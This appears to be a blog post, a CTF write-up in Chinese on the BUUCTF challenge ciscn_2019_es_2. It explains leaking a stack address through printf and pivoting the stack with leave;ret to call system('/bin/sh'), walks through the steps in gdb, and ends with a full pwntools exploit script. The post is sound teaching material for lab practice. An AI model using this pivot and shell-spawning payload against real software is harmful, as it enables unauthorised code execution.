BUUCTF—ciscn_2019_es_2

先看看开了什么保护机制

打开32位ida

点开vul函数看看

一看是两组read和printf,而且printf是%s,所以这个还是比较明显就是要泄露栈上内容出来的,要不然单纯栈溢出给一个read就行了,哪怕有些人会给printf,但也不至于两组,所以我们要的就是泄露栈上的信息,看看保护机制没开地址随机化,也就是说我们到底要泄露啥呢,栈地址!因为没有地址随机化,然后只能泄露栈上的信息,那么我们唯一能泄露而且需要的就是栈地址,然后看看栈溢出,0x28的偏移,0x30的大小,在32位下,刚好能修改ebp和返回地址,看看有没有后门函数


没有后门函数和参数/bin/sh,但是有system,参数还是小问题,因为我们可以把/bin/sh写到栈上,因为栈地址是知道的,可以泄露出来,但是现在的问题就是我们只能修改到返回地址,完全布置不了参数,就是说栈溢出长度不够,这时候我们就得栈迁移了,因为我们知道leave指令相当于mov esp,ebp,pop ebp这两条指令,那么我们只可以控制ebp的值的,那么我们也就可以控制esp的值,我们知道后面的执行,包括参数和ret都是和esp有关的
也就是说我们完全可以把原本返回地址以及后面的内容全部布置到0x28的填充位置,然后把esp指向一开头的地方,这样子和填充到返回地址有异曲同工之妙,这样子口述还是很迷糊,我们通过gdb来看看

我们先看看栈上的填充内容,可以看到前面的0x28大小,我们把system和参数都布置上去了,原本这些东西应该布置到返回地址那里的,但是我们如果能控制esp到0xff83c1b4,然后ret去执行system,那不就和之前正常调用一样了,所以栈迁移经常就是栈溢出长度不够而且可以泄露栈地址的情况,当然你要是可以写到一个程序地址完全可以把栈迁移到程序地址上,接下来先执行程序后面自带的leave和ret

可以看到执行leave后,ebp已经是我们修改的了,但是esp还不是,因为pop ebp和esp没有关系,但是如果这时候我再执行一次leave,那么我们不是就可以mov esp,ebp,把ebp的值赋值给esp,那么我们就修改esp了,这也是为什么返回地址要改成leave_ret指令

可以看到,这时候ret指令还没执行,而且esp已经指向我们system的地址了,有些人注意到了,system地址之前有四个a,而且我们一开始想要让他修改成的地址就是0xff83c1b0,为什么现在esp变成了0xff83c1b4,因为leave相当于mov esp,ebp和pop ebp两条指令,mov执行完,esp变成0xff83c1b0,然后pop执行完,esp变成0xff83c1b4,ebp变成了0x61616161,也就是四个a,到此为止,栈迁移就结束了,那四个b就是执行完system的返回地址,后面就是参数/bin/sh

from pwn import *
#p=remote('node4.buuoj.cn',26530)
p=process('./ciscn')
a=input()
elf=ELF('./ciscn')
leave_ret=0x080484b8
p.recvline()
payload1=b'a'*0x26+b'b'*2
p.send(payload1)
p.recvuntil('aabb')
ebp=u32(p.recv(4))  
print(hex(ebp))   
payload2=b'a'*0x4+p32(elf.plt['system'])+b'bbbb'+p32(ebp-0x28)+b'/bin'+b'/sh\x00'
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
p.sendline(payload2)
p.interactive()
posted @ 2022-10-17 17:40  予柒  阅读(208)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/